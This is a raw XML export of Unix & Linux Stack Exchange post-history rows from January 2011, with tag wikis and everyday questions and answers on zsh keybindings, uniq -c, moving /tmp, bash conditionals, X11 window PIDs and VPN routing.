  <row Id="12251" PostHistoryTypeId="2" PostId="5480" RevisionGUID="244560ae-0f4d-4ec9-8be8-e7f0eb985f1b" CreationDate="2011-01-06T21:40:34.237" UserId="885" Text="### Selected questions&#xD;&#xA;&#xD;&#xA;* [Rsync filter: copying one pattern only](http://unix.stackexchange.com/questions/2161/rsync-failing-to-find-files)&#xD;&#xA;* [resume transfer of a single file by rsync](http://unix.stackexchange.com/questions/2445/resume-transfer-of-a-single-file-by-rsync)&#xD;&#xA;* [Sync a local directory with a remote directory in Linux](http://unix.stackexchange.com/questions/2525/sync-a-local-directory-with-a-remote-directory-in-linux)&#xD;&#xA;&#xD;&#xA;### See also&#xD;&#xA;&#xD;&#xA;If rsync doesn't seem to be able to do what you want, also look under [tag:sync].&#xD;&#xA;" />
  <row Id="12252" PostHistoryTypeId="2" PostId="5481" RevisionGUID="64b6ded6-4859-4e5b-b59f-cfd5f92bd863" CreationDate="2011-01-06T21:40:34.237" UserId="885" Comment="deleted 2 characters in body" Text="rsync is a tool to efficiently copy directory hierarchies, locally or remotely, with powerful filters to decide what gets copied." />
  <row Id="12253" PostHistoryTypeId="2" PostId="5482" RevisionGUID="ad486fb6-52c3-4be9-a3a9-6269310523d8" CreationDate="2011-01-06T21:57:24.153" UserId="885" Text="The kernel of a unix system typically handles basics such as memory management and process scheduling, and contains device drivers and filesystem implementations.&#xD;&#xA;&#xD;&#xA;## Linux&#xD;&#xA;&#xD;&#xA;### Linux kernel compilation&#xD;&#xA;&#xD;&#xA;* [Ubuntu Wiki Kernel](https://wiki.ubuntu.com/Kernel)&#xD;&#xA;* [What is the benefit of compiling your own linux kernel?](http://unix.stackexchange.com/questions/905/what-is-the-benefit-of-compiling-your-own-linux-kernel)&#xD;&#xA;&#xD;&#xA;### Linux kernel internals&#xD;&#xA;&#xD;&#xA;* [LDD = Linux Device Drivers](http://lwn.net/Kernel/LDD3/): a book (on paper or free online) on Linux kernel internals&#xD;&#xA;* [LWN = Linux Weekly News](http://lwn.net/Kernel/Index/): kernel evolutions explained&#xD;&#xA;* [LKML = the linux-kernel mailing list](http://www.kernel.org/pub/linux/docs/lkml/), a high-volume high-technicity discussion list ([archives](http://lkml.org/))&#xD;&#xA;* [LXR = the Linux cross-reference](http://lxr.linux.no/linux): a nice way to browse the kernel source&#xD;&#xA;* [Understanding the linux kernel source](http://unix.stackexchange.com/questions/797/understanding-the-linux-kernel-source)&#xD;&#xA;" />
  <row Id="12254" PostHistoryTypeId="2" PostId="5483" RevisionGUID="3c15baaf-815b-40ec-b820-5798a93ea423" CreationDate="2011-01-06T21:57:24.153" UserId="885" Text="Everything about unix kernels: development, configuration, compilation, design, etc." />
  <row Id="12255" PostHistoryTypeId="2" PostId="5484" RevisionGUID="7f813a3d-4ab2-4446-b19b-c1aef4f9d5b4" CreationDate="2011-01-06T22:55:21.833" UserId="305" Text="The &lt;kbd&gt;Ctrl+R&lt;/kbd&gt; works for root (well toor) however I cannot find why it does not work for user.&#xD;&#xA;&#xD;&#xA;User `.zshrc`:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    setopt AUTO_CD&#xD;&#xA;    setopt CORRECT_ALL&#xD;&#xA;    setopt EXTENDED_GLOB&#xD;&#xA;    # History&#xD;&#xA;    SAVEHIST=10000&#xD;&#xA;    HISTSIZE=10000&#xD;&#xA;    HISTFILE=~/.zsh/history&#xD;&#xA;    setopt APPEND_HISTORY&#xD;&#xA;    setopt EXTENDED_HISTORY&#xD;&#xA;    setopt INC_APPEND_HISTORY&#xD;&#xA;    setopt HIST_FIND_NO_DUPS&#xD;&#xA;    setopt HIST_IGNORE_ALL_DUPS&#xD;&#xA;    setopt HIST_IGNORE_SPACE&#xD;&#xA;    setopt NO_HIST_BEEP&#xD;&#xA;    setopt SHARE_HISTORY&#xD;&#xA;    # Keys&#xD;&#xA;    autoload zkbd&#xD;&#xA;    [[ ! -d ~/.zkbd ]] &amp;&amp; mkdir ~/.zkbd&#xD;&#xA;    [[ ! -f ~/.zkbd/$TERM-${DISPLAY:-$VENDOR-$OSTYPE} ]] &amp;&amp; zkbd&#xD;&#xA;    source  ~/.zkbd/$TERM-${DISPLAY:-$VENDOR-$OSTYPE}&#xD;&#xA;    [[ -n ${key[Home]}    ]]  &amp;&amp; bindkey  &quot;${key[Home]}&quot;    beginning-of-line&#xD;&#xA;    [[ -n ${key[End]}     ]]  &amp;&amp; bindkey  &quot;${key[End]}&quot;     end-of-line&#xD;&#xA;    [[ -n ${key[Insert]}  ]]  &amp;&amp; bindkey  &quot;${key[Insert]}&quot;  overwrite-mode&#xD;&#xA;    [[ -n ${key[Delete]}  ]]  &amp;&amp; bindkey  &quot;${key[Delete]}&quot;  delete-char&#xD;&#xA;    [[ -n ${key[Up]}      ]]  &amp;&amp; bindkey  &quot;${key[Up]}&quot;      up-line-or-history&#xD;&#xA;    [[ -n ${key[Down]}    ]]  &amp;&amp; bindkey  &quot;${key[Down]}&quot;    down-line-or-history&#xD;&#xA;    [[ -n ${key[Left]}    ]]  &amp;&amp; bindkey  &quot;${key[Left]}&quot;    backward-char&#xD;&#xA;    [[ -n ${key[Right]}   ]]  &amp;&amp; bindkey  &quot;${key[Right]}&quot;   forward-char&#xD;&#xA;    # Auto completion&#xD;&#xA;    autoload -U compinit promptinit&#xD;&#xA;    compinit&#xD;&#xA;    promptinit&#xD;&#xA;    prompt clint&#xD;&#xA;    zstyle ':completion::complete:*' use-cache 1&#xD;&#xA;    setopt HASH_LIST_ALL&#xD;&#xA;    # MIME&#xD;&#xA;    autoload -U zsh-mime-setup&#xD;&#xA;    zsh-mime-setup&#xD;&#xA;    # Calc&#xD;&#xA;    autoload -U zcalc&#xD;&#xA;    # Login&#xD;&#xA;    alias su=&quot;su - toor&quot;&#xD;&#xA;&#xD;&#xA;diff with root .zshrc:&#xD;&#xA;&#xD;&#xA;    --- -	2011-01-06 23:53:54.772440701 +0100&#xD;&#xA;    +++ .zshrc	2011-01-06 23:50:00.000000000 +0100&#xD;&#xA;    @@ -38,9 +38,5 @@&#xD;&#xA;     zsh-mime-setup&#xD;&#xA;     # Calc&#xD;&#xA;     autoload -U zcalc&#xD;&#xA;    -# Editor&#xD;&#xA;    -export EDITOR=vim&#xD;&#xA;    -# Paludis&#xD;&#xA;    -alias background=&quot;schedtool -B -e&quot;&#xD;&#xA;    -alias lowprio=&quot;nice -n 20 ionice -c 3&quot;&#xD;&#xA;    -alias blowprio=&quot;ionice -c 3 schedtool -B -e nice -n 20&quot;&#xD;&#xA;    +# Login&#xD;&#xA;    +alias su=&quot;su - toor&quot;&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;zsh version 2.3.11." />
  <row Id="12256" PostHistoryTypeId="1" PostId="5484" RevisionGUID="7f813a3d-4ab2-4446-b19b-c1aef4f9d5b4" CreationDate="2011-01-06T22:55:21.833" UserId="305" Text="zle - I cannot find why &lt;kbd&gt;Ctrl+R&lt;/kbd&gt; does not work for non-root" />
  <row Id="12257" PostHistoryTypeId="3" PostId="5484" RevisionGUID="7f813a3d-4ab2-4446-b19b-c1aef4f9d5b4" CreationDate="2011-01-06T22:55:21.833" UserId="305" Text="ézshàézleà" />
  <row Id="12258" PostHistoryTypeId="2" PostId="5485" RevisionGUID="fee33188-fc4a-4b0d-b846-5907c65053a6" CreationDate="2011-01-06T23:10:35.683" UserId="1071" Text="If you have &lt;a href=&quot;http://www.semicomplete.com/projects/xdotool/&quot;&gt;xdotool&lt;/a&gt; installed, then &#xD;&#xA;&#xD;&#xA;`xdotool selectwindow getwindowpid`&#xD;&#xA;&#xD;&#xA;followed by clicking on the window in question will return the PID.&#xD;&#xA;&#xD;&#xA;(There are other ways of selecting the window in question, e.g., if you have its window ID you can just do `xdotool getwindowpid &lt;number&gt;`. You can also select by name or class, etc.)&#xD;&#xA;&#xD;&#xA;I do think this requires some playing nice on behalf of the WM. I haven't experimented much, or needed to." />
  <row Id="12259" PostHistoryTypeId="2" PostId="5486" RevisionGUID="2d195e75-8b41-4bc0-8a3e-cad8fd4dd4e0" CreationDate="2011-01-06T23:36:52.843" UserId="885" Text="If you have `$EDITOR = vi*` or `VISUAL = vi*` when zsh starts up, zsh uses vi insertion mode as the default keymap. Otherwise zsh uses emacs mode. You presumably set `EDITOR` (or `VISUAL`) to `vim` in your init file, but have no such setting when running as root, so you're seeing the vi mode map, in which history search is on `^X r` and `^X s`.&#xD;&#xA;&#xD;&#xA;Add `bindkey -e` to your `.zshrc` (or learn the vi map).&#xD;&#xA;&#xD;&#xA;As usual, this is in the documentation (`zshzle` man page), but you have to know what you're looking for.&#xD;&#xA;" />
  <row Id="12260" PostHistoryTypeId="5" PostId="5478" RevisionGUID="2a4332e0-4b60-4f6a-a852-8ba7c1e175dc" CreationDate="2011-01-06T23:45:13.100" UserId="885" Comment="fixed error in property name" Text="Given an X11 window ID, is there a way to find the ID of the process that created it?&#xD;&#xA;&#xD;&#xA;Of course this isn't always possible, for example if the window came over a TCP connection. For that case I'd like the IP and port associated with the remote end.&#xD;&#xA;&#xD;&#xA;[The question was asked before on Stack Overflow](http://stackoverflow.com/questions/1131277/how-to-convert-a-x11-window-id-to-a-process-id), and a proposed method was to use the `_NET_WM_PID` property. But that's set by the window manager. Is there a way to do it if your window manager doesn't play nice?&#xD;&#xA;" />
  <row Id="12261" PostHistoryTypeId="2" PostId="5487" RevisionGUID="70f2b3f6-b527-4e67-8a75-e6964e0e039d" CreationDate="2011-01-07T01:17:18.003" UserId="1985" Text="I don't use FTP a lot, but when I do I use FireFTP - a firefox extension. It's small, light and does job well enough" />
  <row Id="12262" PostHistoryTypeId="2" PostId="5488" RevisionGUID="3a3ad128-05f7-4973-ab81-8b97477f3a91" CreationDate="2011-01-07T02:01:20.013" UserId="1070" Text="I feel the question adequately captures my dispair.  Lin" />
  <row Id="12263" PostHistoryTypeId="1" PostId="5488" RevisionGUID="3a3ad128-05f7-4973-ab81-8b97477f3a91" CreationDate="2011-01-07T02:01:20.013" UserId="1070" Text="chmod chgrp usermod groupadd - somebody help me understand unix users, groups, and permissions." />
  <row Id="12264" PostHistoryTypeId="3" PostId="5488" RevisionGUID="3a3ad128-05f7-4973-ab81-8b97477f3a91" CreationDate="2011-01-07T02:01:20.013" UserId="1070" Text="épermissionsàéusersàéchmodà" />
  <row Id="12268" PostHistoryTypeId="6" PostId="5488" RevisionGUID="887d8a01-d554-4c2c-81c3-63e26a73a96c" CreationDate="2011-01-07T02:28:22.337" UserId="29" Comment="add security tag" Text="ésecurityàépermissionsàéusersàéchmodà" />
  <row Id="12269" PostHistoryTypeId="2" PostId="5489" RevisionGUID="da6ed36f-7b11-4266-a8fc-e063706e4233" CreationDate="2011-01-07T02:58:32.877" UserId="1232" Text="Today the `/tmp` directory filled up on a machine at work. The problem was, it was on the root partition which wasn't very big. In order to fix this, a co-worker created a `/new/tmp` directory elsewhere, copied all the contents to the new directory, removed the original `/tmp` and made a symlink `/tmp -&gt; /new/tmp`. &#xD;&#xA;&#xD;&#xA;When he copied the files (really, this was somebody else, not me!) he didn't use `-a` so the owner of every file under `/new/tmp` was `root`. Furthermore, he didn't set the permissions of the `/new/tmp` directory so it was the default 0755. This caused no end of trouble and even tweaking mode and ownership bits failed to restore the machine to an acceptably working state. I ended up having to nuke everything in `/tmp` and reboot.&#xD;&#xA;&#xD;&#xA;The `/tmp` directory contained various sockets and pipes and whatnot, since a bunch of people run Gnome through VNC, and I use `screen` which has its own pipes.&#xD;&#xA;&#xD;&#xA;Is there a *safe* way to move a `/tmp` directory to a different volume on a running system? I'm not sure what I would have actually done to keep everything working. I'm particularly curious about what happens to pipes and sockets." />
  <row Id="12270" PostHistoryTypeId="1" PostId="5489" RevisionGUID="da6ed36f-7b11-4266-a8fc-e063706e4233" CreationDate="2011-01-07T02:58:32.877" UserId="1232" Text="How to (safely) move /tmp to a different volume?" />
  <row Id="12271" PostHistoryTypeId="3" PostId="5489" RevisionGUID="da6ed36f-7b11-4266-a8fc-e063706e4233" CreationDate="2011-01-07T02:58:32.877" UserId="1232" Text="épartitionàépermissionsà" />
  <row Id="12272" PostHistoryTypeId="2" PostId="5490" RevisionGUID="9684aec7-c6ed-4540-8f69-74152caa08e4" CreationDate="2011-01-07T03:03:15.273" UserId="1875" Text="Say I have a file which contains&#xD;&#xA;&#xD;&#xA;    A&#xD;&#xA;    A&#xD;&#xA;    A&#xD;&#xA;    B&#xD;&#xA;    CC&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And I want to have the output like this&#xD;&#xA;&#xD;&#xA;    A 3&#xD;&#xA;    B 1&#xD;&#xA;    CC 1" />
  <row Id="12273" PostHistoryTypeId="1" PostId="5490" RevisionGUID="9684aec7-c6ed-4540-8f69-74152caa08e4" CreationDate="2011-01-07T03:03:15.273" UserId="1875" Text="Get the counts for each uniq lines in Bash ?" />
  <row Id="12274" PostHistoryTypeId="3" PostId="5490" RevisionGUID="9684aec7-c6ed-4540-8f69-74152caa08e4" CreationDate="2011-01-07T03:03:15.273" UserId="1875" Text="ébashàétextöprocessingà" />
  <row Id="12275" PostHistoryTypeId="2" PostId="5491" RevisionGUID="3cb4abde-230c-417f-9c32-afb865105645" CreationDate="2011-01-07T03:05:20.200" UserId="1875" Text="Ooops.&#xD;&#xA;&#xD;&#xA;    uniq -c&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;body must be at least 30 characters; you entered 14&#xD;&#xA;" />
  <row Id="12276" PostHistoryTypeId="2" PostId="5492" RevisionGUID="c6db7985-883e-4957-8643-2638a783e4ea" CreationDate="2011-01-07T03:44:13.997" UserId="3487" Text="If you boot the kernel in text mode (standard on x86), you can change the VESA mode after boot with &quot;vbetool&quot;, using the vbemode action.&#xD;&#xA;&#xD;&#xA;If you boot the kernel in framebuffer mode (standard on non-x86), you can change the resolution at runtime with &quot;fbset&quot;.&#xD;&#xA;&#xD;&#xA;When you press ALT+1 etc, the kernel probably sends SIGWINCH to the INIT process (pid 1). The default init program probably generates a kbrequest event, you may be able to pick up on that by modifying /etc/inittab and have init run a script that sets the mode for you.&#xD;&#xA;" />
  <row Id="12277" PostHistoryTypeId="5" PostId="5491" RevisionGUID="9308c19a-23b5-4d4a-b462-e8be523aaaed" CreationDate="2011-01-07T03:57:55.470" UserId="73" Comment="added 36 characters in body" Text="I figured it out; one of `uniq`'s options is `-c`, for &quot;prefix lines by the number of occurrences&quot;:&#xD;&#xA;&#xD;&#xA;    $ uniq -c&#xD;&#xA;" />
  <row Id="12278" PostHistoryTypeId="2" PostId="5493" RevisionGUID="abe15916-d2d8-4b9d-a285-e66371bd27a4" CreationDate="2011-01-07T03:59:38.167" UserId="3487" Text="Just boot up your Linux installation and take a look.&#xD;&#xA;&#xD;&#xA;1. First, find the PCI vendor and device id.&#xD;&#xA;* Look it up with the vendor if you can't find a box with the hardware connected,&#xD;&#xA;* Or (attached to Linux) use lspci -n&#xD;&#xA;* Or (attached to Windows) use regedit.exe and dig into HKLM\System\CurrentControlSet\Enum\PCI&#xD;&#xA;&#xD;&#xA;2. Next, grep the driver name from /lib/modules/$(uname -r)/modules.pcimap using the PCI vendor and device identifiers.&#xD;&#xA;* First column is driver name.&#xD;&#xA;* Second column is PCI vendor (when grepping, prefix with 0x0000).&#xD;&#xA;* Third column is PCI device (-||-).&#xD;&#xA;&#xD;&#xA;When you've found out if there's a driver or not, you can use Google to find the documentation for said driver and take a look at whether it does whatever it is you want it to do.&#xD;&#xA;" />
  <row Id="12279" PostHistoryTypeId="5" PostId="5490" RevisionGUID="d4a70436-e629-45ab-b414-ad18c840be0a" CreationDate="2011-01-07T04:05:52.447" UserId="73" Comment="edited body; edited tags; edited title" Text="Say I have a file which contains:&#xD;&#xA;&#xD;&#xA;    A&#xD;&#xA;    A&#xD;&#xA;    A&#xD;&#xA;    B&#xD;&#xA;    CC&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I want to have the output like this:&#xD;&#xA;&#xD;&#xA;    A 3&#xD;&#xA;    B 1&#xD;&#xA;    CC 1&#xD;&#xA;" />
  <row Id="12280" PostHistoryTypeId="4" PostId="5490" RevisionGUID="d4a70436-e629-45ab-b414-ad18c840be0a" CreationDate="2011-01-07T04:05:52.447" UserId="73" Comment="edited body; edited tags; edited title" Text="Count how many times each line appears in a file" />
  <row Id="12281" PostHistoryTypeId="6" PostId="5490" RevisionGUID="d4a70436-e629-45ab-b414-ad18c840be0a" CreationDate="2011-01-07T04:05:52.447" UserId="73" Comment="edited body; edited tags; edited title" Text="étextöprocessingà" />
  <row Id="12282" PostHistoryTypeId="2" PostId="5494" RevisionGUID="0abe9b24-0458-46c9-bce5-e287606b54e8" CreationDate="2011-01-07T04:19:50.643" UserId="3487" Text="Is the PCI device configuration in /sys/bus/pci/devices/*/config of any help?&#xD;&#xA;" />
  <row Id="12283" PostHistoryTypeId="2" PostId="5495" RevisionGUID="9ac22b25-11dd-430e-a253-961ba9cea918" CreationDate="2011-01-07T04:27:35.583" UserId="3476" Text="What are the three formats of conditional statements used in bash scripting?" />
  <row Id="12284" PostHistoryTypeId="1" PostId="5495" RevisionGUID="9ac22b25-11dd-430e-a253-961ba9cea918" CreationDate="2011-01-07T04:27:35.583" UserId="3476" Text="Bash Conditional Statements" />
  <row Id="12285" PostHistoryTypeId="3" PostId="5495" RevisionGUID="9ac22b25-11dd-430e-a253-961ba9cea918" CreationDate="2011-01-07T04:27:35.583" UserId="3476" Text="ébashàéscriptingà" />
  <row Id="12286" PostHistoryTypeId="2" PostId="5496" RevisionGUID="06d20e4c-818d-43fa-9659-9c27e9a0cdc1" CreationDate="2011-01-07T04:31:14.613" UserId="3487" Text="At least one of the VPN systems are probably set up to Full Tunnelling rather than Split Tunnelling.&#xD;&#xA;&#xD;&#xA;Full tunnelling means route 0.0.0.0/0 (everything) via the VPN tunnel, and split tunnelling means route only the organization's specific IP addresses.&#xD;&#xA;&#xD;&#xA;Check your route table with &quot;ip route list&quot;.&#xD;&#xA;&#xD;&#xA;In order to circumvene the full vs split configuration set up by the VPN administrator, you probably need to wrap your own VPN client.  Theoretically not very hard, since most of these SSL-VPN solutions just wrap a PPP interface with SSL and funnel it to port 443 on the gateway, but in practice it can get tricky.&#xD;&#xA;&#xD;&#xA;I've done it a couple of times, and two things that will really bug you is that the standard PPPD daemon on Linux is a bitch (a user mode executable running on top of TUN/TAP would have been a beautiful blessing, pppd is a _mess_), and you usually need to touch some very specific URLs on the SSL-VPN gateway before it will let you connect a tunnel.  Such as, authenticate with web forms and get various cookies, etc.&#xD;&#xA;" />
  <row Id="12287" PostHistoryTypeId="2" PostId="5497" RevisionGUID="ed655476-afe6-4c32-9a23-15d8a5f7d724" CreationDate="2011-01-07T04:47:56.920" UserId="825" Text="I'd start here: [Filesystem Permissions][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Filesystem_permissions" />
  <row Id="12288" PostHistoryTypeId="4" PostId="5484" RevisionGUID="caf13a7c-2615-4d86-a75d-14ee3a0dbed3" CreationDate="2011-01-07T04:50:34.903" UserId="73" Comment="edited title" Text="zle - I cannot find why Ctrl+R does not work for non-root" />
  <row Id="12290" PostHistoryTypeId="5" PostId="2506" RevisionGUID="2bc09ca3-5bc0-49ed-9098-61485f92fd28" CreationDate="2011-01-07T04:55:08.563" UserId="688" Comment="added 1 characters in body" Text="Personally I use `gnome-do` for that kind of stuff. Yeah it's mono and some people don't like that, but if you enter a command. it runs it and when it's about running GUI applications it's a really quick way to trigger them. Since gnome-do has so many plugins, many of the actions I'd usually run via alt+F2 (like quickly mounting something) I can just do via gnome-do: I type &quot;mo&quot; and it already knows that I probably want to mount something and offers me the filesystems I have defined that I have not yet mounted (just as an example).&#xD;&#xA;&#xD;&#xA;If you don't like mono there is an app called &quot;kupfer&quot; which does similar things written in Python, it just doesn't have all the features gnome-do has.&#xD;&#xA;&#xD;&#xA;When I want to run &quot;real&quot; shell commands I tend to just open a terminal." />
  <row Id="12291" PostHistoryTypeId="2" PostId="5498" RevisionGUID="9bd4f720-f01e-46a5-ab7d-6ade8618c885" CreationDate="2011-01-07T04:58:20.323" UserId="29" Text="What exactly are `shmpages` in the grand scheme of kernel and memory terminology. If I'm hitting a `shmpages` limit, what does that mean?&#xD;&#xA;&#xD;&#xA;*I'm also curious if this applies to more than linux*" />
  <row Id="12292" PostHistoryTypeId="1" PostId="5498" RevisionGUID="9bd4f720-f01e-46a5-ab7d-6ade8618c885" CreationDate="2011-01-07T04:58:20.323" UserId="29" Text="What are shmpages in laymans terms?" />
  <row Id="12293" PostHistoryTypeId="3" PostId="5498" RevisionGUID="9bd4f720-f01e-46a5-ab7d-6ade8618c885" CreationDate="2011-01-07T04:58:20.323" UserId="29" Text="élinuxàékernelàémemoryà" />
  <row Id="12294" PostHistoryTypeId="2" PostId="5499" RevisionGUID="d2239aa7-c628-40e8-ae65-d2c18d2320bc" CreationDate="2011-01-07T05:10:25.270" UserId="688" Text="I saw [something that made me salivate][1] and I want it be the program that is run when I do &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;F2&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/2505/which-run-dialog/2507#2507" />
  <row Id="12295" PostHistoryTypeId="1" PostId="5499" RevisionGUID="d2239aa7-c628-40e8-ae65-d2c18d2320bc" CreationDate="2011-01-07T05:10:25.270" UserId="688" Text="How to change what Alt+F2 calls in GNOME?" />
  <row Id="12296" PostHistoryTypeId="3" PostId="5499" RevisionGUID="d2239aa7-c628-40e8-ae65-d2c18d2320bc" CreationDate="2011-01-07T05:10:25.270" UserId="688" Text="égnomeà" />
  <row Id="12297" PostHistoryTypeId="2" PostId="5500" RevisionGUID="c6299944-6c00-4c11-90e5-2d5251bdd444" CreationDate="2011-01-07T05:28:10.020" UserId="1535" Text="Well, I'm not really sure what the question is asking either, but I think that's not really relevant.  As I understand it, the StackExchange take on answering homework-ish questions is that the answers should be generally useful, i.e. should be able to serve as a reference for people who are not just trying to answer a very specific question.&#xD;&#xA;&#xD;&#xA;The [relevant section of the bash manual](http://www.gnu.org/software/bash/manual/bashref.html#Conditional-Constructs) lists 5 different constructs which can be used for conditional evaluation.  Of these, the `if`, `case`, and `[[ .. ]]` constructs are probably the most commonly used in real-world code, though the `(( .. ))` construct will get used frequently in scripts that do complex counting or other numerical operations.&#xD;&#xA;&#xD;&#xA;But they don't mention another very common form used for branching in bash, which is to just execute a command in combination with short-circuit evaluation, for example&#xD;&#xA;&#xD;&#xA;    grep -q needle haystack.txt &amp;&amp; echo &quot;Needle located!&quot; || echo &quot;No dice or needles.&quot;;&#xD;&#xA;&#xD;&#xA;`&amp;&amp;` and `||` are logical operators: &quot;and&quot; and &quot;or&quot; respectively.&#xD;&#xA;&#xD;&#xA;This is effectively the same as&#xD;&#xA;&#xD;&#xA;    if grep -q needle haystack.txt; then echo &quot;yea&quot;; else echo &quot;nay&quot;; fi;&#xD;&#xA;&#xD;&#xA;but works differently: in the first form, the conditional logic really comes about as a side effect of the actual explicit goal of the code, which is, at least ostensibly, to evaluate the logical operators.  This sort of construct is also commonly seen in C and JavaScript code.&#xD;&#xA;&#xD;&#xA;It works by taking shortcuts: the parts of the expression, e.g. `x &amp;&amp; y || z`, are evaluated left-to-right.  If the left side of a logical and, e.g. the `x` in `x &amp;&amp; y`, evaluates to false, `bash` doesn't bother evaluating the `y` part because at that point it already knows that `x &amp;&amp; y` is false.&#xD;&#xA;&#xD;&#xA;The converse is true for logical ors: `true || z` always evaluates to true, no matter what z turns out to be.&#xD;&#xA;&#xD;&#xA;So if the `grep` comes out false, `bash` can skip that first `echo`, because that part of the expression can't possibly be true.  So it moves on to the second `echo`.  On the other hand, if the grep is true, the first `echo` is executed (resulting in those words being, well, echoed..).  At this point `bash` is done, because whatever the value of the right-hand side of the `||`, the result of the expression will still be true.&#xD;&#xA;&#xD;&#xA;To get a feel for the way bash works with conditionals, it's best to do some experimentation on the command line.  The command&#xD;&#xA;&#xD;&#xA;    echo $?;&#xD;&#xA;&#xD;&#xA;will echo the *return code* of the previous statement.  This is an error code, so `0` means true, and a non-zero value means false.  It's a bit confusing at first, but you get used to it.&#xD;&#xA;&#xD;&#xA;So you can do, for example&#xD;&#xA;&#xD;&#xA;    $ (( 1 + 2 == 3 )); echo $?&#xD;&#xA;    0&#xD;&#xA;    $ (( 1 + 2 == 4 )); echo $?&#xD;&#xA;    1&#xD;&#xA;&#xD;&#xA;and perform similar tests with the `[[ .. ]]` construct to get a feel for these basic building blocks.  Once you've got that done, move on to `if` and then `case` statements.&#xD;&#xA;&#xD;&#xA;As for the answer to your question, well, I think that's very dependent on the context it was asked in.  But getting a good understanding of the various options should help you figure out what they are looking for there." />
  <row Id="12298" PostHistoryTypeId="5" PostId="2645" RevisionGUID="571e4e1f-fc31-47a3-9c9c-1867bf7466d7" CreationDate="2011-01-07T05:55:24.277" UserId="73" Comment="deleted 22 characters in body; edited tags" Text="I read uses of the word &quot;utilities&quot; for commands/programs such as 'ls', 'chmod', 'mv', etc.&#xD;&#xA;&#xD;&#xA;Is &quot;commands&quot; is Linux referring to the same things as `top`, `ps`, etc., or are those something different? What about &quot;programs&quot;? Are those the ones that don't come with the standard distribution which need to be installed like `irssi`, `emacs`, `kismet`, etc.?&#xD;&#xA;" />
  <row Id="12299" PostHistoryTypeId="6" PostId="2645" RevisionGUID="571e4e1f-fc31-47a3-9c9c-1867bf7466d7" CreationDate="2011-01-07T05:55:24.277" UserId="73" Comment="deleted 22 characters in body; edited tags" Text="écommandölineàéutilitiesàéterminologyà" />
  <row Id="12300" PostHistoryTypeId="5" PostId="5499" RevisionGUID="2e23422b-ca83-4057-b866-87d5cd28b2b1" CreationDate="2011-01-07T06:04:33.330" UserId="688" Comment="grammar" Text="I saw [something that made me salivate][1] and I want it to be the program that is run when I do &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;F2&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/2505/which-run-dialog/2507#2507" />
  <row Id="12301" PostHistoryTypeId="2" PostId="5501" RevisionGUID="52cf0b1b-04d9-40ce-9e01-c951b44ae1c9" CreationDate="2011-01-07T06:35:10.300" UserId="3489" Text="Ok I'm pulling my hair out over this one. We have a wireless network with many clients all working well except two Ubuntu clients running 10.10 that can't access the internet via a browser at the same time. They can both still ping, use Skype etc but can't browse.&#xD;&#xA;&#xD;&#xA;As soon as the one that can browse exits the network browsing returns for the other and vice versa. As ping and Skype was working I assumed some kind of DNS problem but moving over to OpenDNS didn't solve it, nor did restarting networking or using wired rather than wireless.&#xD;&#xA;&#xD;&#xA;We also switched out the router, and it still persisted so I'm sure this isn't a network issue. The two clients are both laptops and work fine together on a wireless network at another office (which we don't control).&#xD;&#xA;&#xD;&#xA;I'm thinking something must be cached from the other network they both use that's causing this but have no idea what.&#xD;&#xA;&#xD;&#xA;Does anyone have any ideas? I just don't know where to go from here." />
  <row Id="12302" PostHistoryTypeId="1" PostId="5501" RevisionGUID="52cf0b1b-04d9-40ce-9e01-c951b44ae1c9" CreationDate="2011-01-07T06:35:10.300" UserId="3489" Text="Ubuntu: On a network with many clients there are two machines that can't access the web via a browser at the same time" />
  <row Id="12303" PostHistoryTypeId="3" PostId="5501" RevisionGUID="52cf0b1b-04d9-40ce-9e01-c951b44ae1c9" CreationDate="2011-01-07T06:35:10.300" UserId="3489" Text="éubuntuàénetworkingà" />
  <row Id="12305" PostHistoryTypeId="2" PostId="5503" RevisionGUID="7767c9de-333a-4fe5-8bae-1de306f2d9ee" CreationDate="2011-01-07T08:33:54.000" UserId="885" Text="On “client” machines, the safe way to move `/tmp` is to reboot. Here, by client, I mean anything that runs programs that put sockets in `/tmp`, in particular X servers and screen.&#xD;&#xA;&#xD;&#xA;The new `/tmp` definitely needs to have the right permissions (1777), otherwise you can't hope to have a working system.&#xD;&#xA;&#xD;&#xA;For `/tmp`, you pretty much can't copy any files. That's because most of the time, programs that put stuff in `/tmp` open the files. If you copy the file, that copies the contents, but the programs still have the old files open. You might be able to reach into them with a debugger (`ptrace`), but this will be a lot more complicated than rebooting, and with many programs all you'd do is crash them anyway.&#xD;&#xA;&#xD;&#xA;If your `/tmp` is full and you want to switch to a new one live, you need to restart all programs that have files open there. Since that means restarting X and screen sessions, it's not much better than rebooting.&#xD;&#xA;&#xD;&#xA;You should be able to switch for new programs but keep existing open files in place by using a [**union mount**](http://en.wikipedia.org/wiki/Union_mount). (The principle is sound, but I've never tried, so there may be by-me-unexpected issues.) Here's a way to do this on Linux.&#xD;&#xA;&#xD;&#xA; 1. Keep all existing files in `/tmp` except for a few manually-selected big ones.&#xD;&#xA; 2. Create a `/tmp.new` (mode 1777).&#xD;&#xA; 3. Expose `/tmp` on a different path: `mount --bind / /.root.only`. This is necessary because the next step will shadow `/tmp`. There may be different union mount implementations that don't require this step.&#xD;&#xA; 4. Make a union mount of `/.root.only/tmp` and `/tmp.new`, mounted on `/tmp`. This way new files created in `/tmp` will be written in `/tmp.new`, but files in `/.root.only/tmp` are also visible under `/tmp`. One possibility is &#xD;&#xA;[unionfs-fuse](http://podgorny.cz/moin/UnionFsFuse): `unionfs-fuse /tmp.new:/.root.only/tmp /tmp`.&#xD;&#xA;" />
